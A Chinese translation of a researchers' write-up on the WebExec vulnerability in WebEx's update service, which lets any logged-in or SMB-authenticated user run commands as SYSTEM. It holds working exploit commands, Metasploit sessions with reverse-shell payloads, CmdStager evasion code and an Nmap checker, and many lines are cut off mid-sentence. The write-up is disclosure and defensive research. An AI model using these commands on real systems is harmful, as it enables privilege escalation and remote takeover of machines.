WebExec之技术纲要(权限提升&代码执行)

風見鶏 / 2018-10-27 08:06:00 / 浏览数 4704 技术文章 技术文章 顶(1) 踩(0)

WebExec之技术纲要

这是我们称之为"WebExec"的漏洞的技术纲要。

摘要：WebEx的WebexUpdateService中的缺陷允许任何登录到安装了WebEx的Windows系统的人远程执行SYSTEM级命令。这个不在任何端口上侦听的客户端应用程序实

https://webexec.org 上的高级详细信息和常见问题解答！下面是我们如何发现错误及其工作原理的技术文章。

关于漏洞

此漏洞被我和来自 Counter Hack的Jeff McJunkin在一次常规的渗透测试发现。感谢Ed Skoudis允许发布此文章。

如果您有任何问题或疑虑，我专门针对此问题制作了电子邮件；info@webexec.org！

你可以下载一个存在漏洞的的安装版本和补丁，如果你想用这个自己玩，那不言而喻，但如果你运行易受攻击的版本，请小心！

介绍

在最近的一次测试中，我们在尝试提升最终终端用户笔记本电脑上的本地权限时，在WebEx客户端软件中发现了一个有趣的漏洞。最终，我们意识到此漏洞也可远程利用（

据我们所知，对第三方Windows服务的远程攻击是一种新型攻击。我们称这堂课为"thank you for your service"，因为我们可以祈祷我们能有更多利用的点。
WebEx的实际版本是截至2018年8月的最新客户端版本：版本3211.0.1801.2200,修订版7/19/2018SHA1：bf8df54e2f49d06b52388332938f5a875c43a5a7。从那时起，

WebEx在10月3日发布补丁，但要求我们不要披露，直到他们发布他们的公告。您可以在webexec.org上找到所有修补说明。

好消息是，此服务的修补版本只会运行由WebEx签名的文件。坏消息是，那里有很多(包括易受攻击的服务版本!)，服务仍然可以远程启动。如果您担心任何用户(您应该是!)

```
c■\> sc sdset webexservice D■■A ;; CCLCSWRPWPDTLOCRRC ;;; SY■■A ;; CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; BA■■A ;;
CCLCSWRPWPLORC ;;; IU■■A ;; CCLCSWLOCRRC ;;; SU■S ■■AU; FA; CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; WD■
```

这将从服务中删除远程和非交互式访问。但是，如果没有补丁，它仍然会受到本地特权升级的影响。

提升权限

最初引起我们注意的是文件夹(`c■\ ProgramData \ WebEx \ WebEx \ Applications\`)是每个人都可读写的，它安装了一个名为"webexservice"的服务，可以由任何人启动和停止。这不好！用我们喜欢的任何东西替换.exe或相关的.dll，并在

由于应用程序白名单，然而，在这个特定的评估上，我们不能简单地用一个shell替换它!服务非交互式地启动(例如，没有窗口和命令行参数)。我们探索了许多不同的选项，

一个近乎有效的测试是将.exe替换为另一个列入白名单的应用程序msbuild.exe，该应用程序可以从同一目录中的.vbproj文件中读取任意C＃命令。但因为它是一个服务，它

在那一刻，我的好奇心占了上风，我决定研究一下`webexservice.exe`实际上在引擎盖下面。这次深度潜水最终发现了金子!让我们来看看

深入研究WebExService.exe

这不是一个很好的座右铭，但是当我有疑问的时候，我倾向于在IDA中打开一些东西。了解进程在IDA中的作用的两种最简单的方法是strings窗口(shift-F12)和import窗口。

```
.rdata■0040543 8  ; wchar_t aSCreateprocess
 .rdata■0040543 8  aSCreateprocess :                       ; DATA XREF■sub_4025A0 + 1E8o
 .rdata■0040543 8                  unicode  0■ <■s :: CreateProcessAsUser■■d ;■ls;■ls■■d■■>■0
```

我在advapi32.dll中找到了CreateProcessAsUserW的导入，并查看了它的调用方式：

```
.text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
 .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
 .text:0040255A                 push    0               ; lpCurrentDirectory
 .text:0040255C                 push    0               ; lpEnvironment
 .text:0040255E                 push    0               ; dwCreationFlags
 .text:00402560                 push    0               ; bInheritHandles
 .text:00402562                 push    0               ; lpThreadAttributes
 .text:00402564                 push    0               ; lpProcessAttributes
 .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
```

```
 .text:0040256C                 push    0               ; lpApplicationName
 .text:0040256E                 push    [ebp+phNewToken] ; hToken
 .text:00402574                 call    ds:CreateProcessAsUserW
```

最后的W指的是函数的UNICODE("wide")版本。在开发Windows代码时，开发人员通常在代码中使用CreateProcessAsUser，编译器将其扩展为CreateProcessAsUserA(A

在任何情况下，这里最重要的两个参数是hToken - 它创建进程的用户 - 和lpCommandLine - 它实际运行的命令。我们来看看每一个参数！

hToken

hToken后面的代码实际上非常简单。如果我们在调用CreateProcessAsUserW的函数中向上滚动，我们可以只查看API调用，以了解发生了什么。您很快就会看到，仅仅基于

在函数的顶部，我们看到：

```
.text:0040241E call ds:CreateToolhelp32Snapshot
```

这是在Win32中搜索特定进程的一种常见方式——它创建运行进程的"快照"，然后通常使用Process32FirstW和Process32NextW遍历这些进程，直到找到所需的进程。很久

基于对api的简单了解，我们可以推断出它正在搜索一个特定的进程。如果我们继续向下滚动，就可以找到对wcsicmp的调用，这是微软对UNICODE字符串使用stricmp的一

```
.text:00402480                 lea     eax, [ebp+Str1]
 .text:00402486                 push    offset Str2     ; "winlogon.exe"
 .text:0040248B                 push    eax             ; Str1
 .text:0040248C                 call    ds:_wcsicmp
 .text:00402492                 add     esp, 8
 .text:00402495                 test    eax, eax
 .text:00402497                 jnz     short loc_4024BE
```

具体来说，就是将每个进程的名称与"winlogon.exe"进行比较——所以它试图获得一个"winlogon.exe"句柄的过程!

如果我们继续执行这个函数，您将看到它调用OpenProcess，然后是OpenProcessToken，然后是duplicateatetokenex。这是另一个常见的API调用序列——这是一个进程

总结一下:这个函数获得了winlogon.exe的句柄，复制其令牌，并将新进程创建为相同的用户(系统)。现在我们要做的就是找出这个过程是什么!

这里有一个有趣的结论:我根本没有真正地阅读程序集来确定这些内容:我只是遵循API调用。通常来说，逆向Windows应用程序就是这么简单!

lpCommandLine

这让事情变得有点复杂，因为需要遍历一系列函数调用来计算lpCommandLine。我必须使用倒车、调试、故障排除和eventlogs组合来确定lpCommandLine来自哪里。这

一个这样的死胡同:我最初从CreateProcessAsUserW开始向后工作，或者从main()开始向前工作，但是我很快就迷失在杂草中，决定走另一条路。然而，在滚动时，我注意
start webexservice开始这个过程:

```
C■\ Users \ ron> sc start webexservice SERVICE_NAME■webexservice
        TYPE               ■10 WIN32_OWN_PROCESS STATE              ■2 START_PENDING
                              ■NOT_STOPPABLE■NOT_PAUSABLE■IGNORES_SHUTDOWN■
[...]
```

您可能需要配置事件查看器来显示应用程序日志中的所有内容，我并不知道自己在做什么，但最终我为WebExService.exe找到了一个日志条目:

```
ExecuteServiceCommand::Not enough command line arguments to execute a service command.
```

那很方便!让我们在IDA (alt+T)中搜索它!这样就引出了这个代码:

```
.text:004027DC                 cmp     edi, 3
 .text:004027DF                 jge     short loc_4027FD
 .text:004027E1                 push    offset aExecuteservice ; "ExecuteServiceCommand"
 .text:004027E6                 push    offset aSNotEnoughComm ; "%s::Not enough command line arguments t"...
 .text:004027EB                 push    2               ; wType
 .text:004027ED                 call    sub_401770
```

一个很小的实际反转:比较edit和3，如果大于或等于就跳转，否则打印输出提示我们需要更多命令行参数。确定我们需要2个或更多命令行参数并不需要很大的逻辑飞跃(因为

```
C■\ Users \ ron> sc start webexservice ab

[...]
```

然后再次检查事件查看器:

```
ExecuteServiceCommand::Service command not recognized: b.
```

你不喜欢冗长的错误信息吗?就好像我们根本不需要思考!再一次，在IDA(alt+T)中搜索那个字符串，我们发现自己在这里:

```
.text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
 .text:00402830                 push    dword ptr [esi+8]
 .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
 .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
 .text:0040283D                 push    2               ; wType
 .text:0040283F                 call    sub_401770
```

如果我们向上滚动一点来确定如何得到错误信息，我们会发现:

```
.text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
 .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
 .text:00402802                 push    dword ptr [esi+8] ; lpString1
 .text:00402805                 call    ds:lstrcmpiW
 .text:0040280B                 test    eax, eax
 .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
 .text:0040280F                 mov     [ebp+var_4], eax
 .text:00402812                 lea     edx, [esi+0Ch]
 .text:00402815                 lea     eax, [ebp+var_4]
 .text:00402818                 push    eax
 .text:00402819                 push    ecx
 .text:0040281A                 lea     ecx, [edi-3]
 .text:0040281D                 call    sub_4025A0
```

字符串software-update是用来比较字符串的。因此，让我们尝试
software-update，而不是b，看看这会不会让我们走得更远!我想再次指出的是，我们在组装层只做了绝对最少的反向工程——我们基本上完全使用API调用和错误消息!

这是我们的新命令：

```
C:\Users\ron>sc start webexservice a software-update

[...]
```

这是新的日志条目:

```
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
 Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
 Exception code: 0xc0000005
 Fault offset: 0x00002643
 Faulting process id: 0x654
 Faulting application start time: 0x01d42dbbf2bcc9b8
 Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
 Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
 Report Id: 31555e60-99af-11e8-8391-0800271677bd
```

哦哦!当我得到一个崩溃的进程时，我通常很兴奋，但这次我实际上是在尝试使用它的特性!我们该怎么办!?

首先，我们可以看看异常代码:0xc0000005。如果你放弃了它，或者开发了低级别的软件，你就会知道这是一个内存错误。进程试图访问一个坏内存地址(可能为空，但我从未

我尝试的第一件事是暴力的方法:让我们添加更多命令行参数!我的逻辑是，它可能需要两个参数，但实际上使用第三个参数，当它们不存在时，就会崩溃。

所以我使用以下命令行启动了该服务：

```
C:\Users\ron>sc start webexservice a software-update a b c d e f

[...]
```

这导致了新的崩溃，因此更进了一步!

```
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
 Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
 Exception code: 0x40000015
 Fault offset: 0x000a7676
 Faulting process id: 0x774
 Faulting application start time: 0x01d42dbc22eef30e
 Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
 Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
 Report Id: 60a0439c-99af-11e8-8391-0800271677bd
```

我需要谷歌0x40000015;这意味着STATUS_FATAL_APP_EXIT。换句话说，应用程序退出了，但是很难——可能是一个失败的assert()?我们实际上没有任何产出，所以很难说

这个花了我一段时间，这就是我将跳过无用端和调试的地方，并向您展示什么是有效的。

基本上，在我们前面看到的software-update之后，继续跟踪代码开发者。不久之后，您将看到这个函数调用:

```
.text:0040281D                 call    sub_4025A0
```

如果你跳进那个函数(双击)，向下滚动一点，你将会看到:

```
.text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"
```

我在这里使用了最先进的技术并用Google搜索了那个字符串。事实证明，它是默认桌面的句柄，并且在启动需要与用户交互的新流程时经常使用。这是一个很好的迹象，这

稍后，在同一个函数中，我们看到这段代码：

```
.text:004026A2                 push    eax             ; EndPtr
 .text:004026A3                 push    esi             ; Str
 .text:004026A4                 call    ds:wcstod ; <--
 .text:004026AA                 add     esp, 8
 .text:004026AD                 fstp    [esp+0B4h+var_90]
 .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
 .text:004026B5                 jnz     short loc_4026C2
 .text:004026B7                 push    offset aInvalidStodArg ; "invalid stod argument"
 .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
```

带有错误- wcstod()的行与abort()发生的地方很接近。我将省去调试细节—调试一个服务是很重要的—但我确实应该在偏离轨道之前看到那个函数调用。

我在网上查询了wcstod()，这是微软另一个命名巧妙的功能。这个将字符串转换为数字。如果失败，代码将引用std::_Xinvalid_argument。我不知道它到底做了什么，但我

这就是我的建议变成"幸运"的地方。原因是，这里唯一有效的数字是"1"。我不知道为什么，也不知道其他号码会做什么，但我最终还是用命令行调用了这个服务:

```
C■\ Users \ ron> sc start webexservice a software-update 1  2  3  4  5  6
```

并检查了事件日志：

```
StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
```

这看起来很有希望！我将2更改为实际的进程：

```
C■\ Users \ ron> sc start webexservice a software-update 1 calc cdef
```

它打开了！

```
C:\Users\ron>tasklist | find "calc"
calc.exe                      1476 Console                    1     10,804 K
```

它实际上也是使用GUI运行的，所以这是不必要的。我真的能看到!它以系统的方式运行!

说到未知数，以相同的方式运行cmd.exe和powershell似乎不起作用。但是，我们可以运行wmic.exe和net.exe，所以我们还有其他的选择！

本地利用

最简单的漏洞是使用wmic.exe启动cmd.exe：

```
C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
```

这将打开一个GUI cmd.exe实例作为SYSTEM：

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

如果我们不能或不选择打开GUI，我们也可以提升权限：

```
C:\Users\ron>net localgroup administrators
[...]
Administrator
ron

C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]
```

```
C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
testuser
```

这一切工作作为一个非特权用户!

Jeff为Metasploit编写了一个本地模块来利用特权升级漏洞。如果您在受影响的计算机上有一个非system会话，您可以使用它获得一个system账户:

```
meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > background
[*] Backgrounding session 2...

msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2

msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run

[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

远程利用

实际上，我们花了一周多的时间了解这个漏洞，却没有意识到它可以远程使用!使用Windows sc命令仍然可以完成最简单的攻击。创建远程机器的会话或创建具有相同凭证的本地用户，然后运行cmd.exe在该用户的上下文中(runas /user:newuser cmd.exe)。一旦完成，您可以对远程主机使用完全相同的命令:

```
c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
```

该命令将在另一台机器上运行（并且甚至会弹出一个GUI！）。

使用Metasploit进行远程开发

为了简化这种攻击，我写了一对Metasploit模块。一个是辅助模块，它实现此攻击以远程运行任意命令，另一个是完整的漏洞利用模块。两者都需要有效的SMB帐户（本地或

以下是使用辅助模块在一堆易受攻击的计算机上运行计算的示例：

```
msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit

[-] 192.168.56.105:445    - No service handle retrieved
[+] 192.168.56.105:445    - Command completed!
[-] 192.168.56.103:445    - No service handle retrieved
[+] 192.168.56.103:445    - Command completed!
[+] 192.168.56.104:445    - Command completed!
```

```
[+] 192.168.56.101:445    - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
```

这是完整的漏洞利用模块：

```
msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit

[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101
```

如果您查看上面链接的代码，那么实际的实现基本上是直截了当的，但是我想特别地谈谈利用模块，因为它有一个有趣的问题:如何首先让一个meterpreter .exe加载来执行它?

我首先使用了一个类似于psexec的漏洞，我们将.exe文件上传到一个可写的共享中，然后通过WebExec执行它。事实证明，这是有问题的，因为上传到共享通常需要管理员

经过与Egyp7的一些讨论，我意识到我可以使用Msf :: Exploit :: CmdStager mixin将命令转发到.exe文件到文件系统。使用.vbs的staging风格，它会将一个Base64编码的文件写入磁盘，然后使用.vbs存根来解码并执行它！

但是有几个问题：

- 最大行长度为1200个字符，而CmdStagermixin每一行使用2000个字符。
- CmdStager使用%TEMP%作为一个临时目录，但是我们的攻击没有扩展路径。
- WebExecService似乎用反斜杠转义引号，我不知道如何关闭它。

前两个问题可以通过添加选项来解决(一旦我找到了要使用的选项):

```
wexec(true) do |opts|
 opts[:flavor] = :vbs
 opts[:linemax] = datastore["MAX_LINE_LENGTH"]
 opts[:temp] = datastore["TMPDIR"]
 opts[:delay] = 0.05
 execute_cmdstager(opts)
end
```

execute_cmdstager()将一遍又一遍地执行execute_command()来构建磁盘上的有效负载，这是我们修复最后一个问题的地方:

```
# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
 # Replace the empty string, "", with a workaround - the first 0 characters of "A"
 command = command.gsub('""', 'mid(Chr(65), 1, 0)')

 # Replace quoted strings with Chr(XX) versions, in a naive way
 command = command.gsub(/"[^"]*"/) do |capture|
   capture.gsub(/"/, "").chars.map do |c|
     "Chr(#{c.ord})"
   end.join('+')
 end

 # Prepend "cmd /c" so we can use a redirect
 command = "cmd /c " + command
```

```
 execute_single_command(command, opts)
end
```

首先，它将空字符串替换为mid(Chr(65)， 1,0)，即字符串"A"中的字符1 - 1。或者空字符串!

其次,它取代其他字符串对应(n)+(n)从而向+ ....我们不能使用&，因为shell已经使用了&来链接命令。后来我得知,我们可以逃避它,用^
&,工作得很好,但+短所以我坚持。

最后，我们将cmd /c前置到命令中，这样我们就可以回显到一个文件中，而不只是将>符号传递给进程。我们可以使用^ >。

在有针对性的攻击中，显然可以更干净地做到这一点，但这似乎是一般来说这样做的好方法！

在有针对性的攻击中，显然可以更干净地完成这项任务，但这似乎是一种很好的通用方式!

检查补丁

这是很少出现(或者可能不是很少见)的情况之一，在这种情况下，利用漏洞实际上比检查更容易!

补丁版本的WebEx仍然允许远程用户连接到进程并启动它。然而，如果进程检测到它被要求运行一个未被WebEx签名的可执行文件，那么执行就会停止。不幸的是，这没有

有很多针对目标的方法可以验证代码是否运行。我们可以使用DNS请求，telnet返回到特定的端口，在webroot中删除文件等等。

为了利用这一点，您必须能够获得service-controlservice
(svcctl)的句柄，因此为了编写检查程序，我决定安装一个假服务，尝试启动它，然后删除该服务。如果启动服务返回OK或ACCESS_DENIED，我们知道它工作正常!

下面是我们开发的Nmap检查器模块的重要代码:

```
-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-up

-- ...

local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
 stdnse.debug("Result: Test service does not exist: probably not vulnerable")
 msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

 vuln.check_results = "Could not execute code via WebExService"
 return report:make_output(vuln)
end
```

未显示：我们也会在完成后删除该服务。

结论

就是这样!使用WebEx的内置更新服务从0提升到system权限!本地和远程!查看webexec.org上的工具和用法说明!

本文翻译自：https://blog.skullsecurity.org/2018/technical-rundown-of-webexec

上一篇：【老文】如何将.Net程序集注入非... 下一篇：HITCON CTF 2018 W...

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录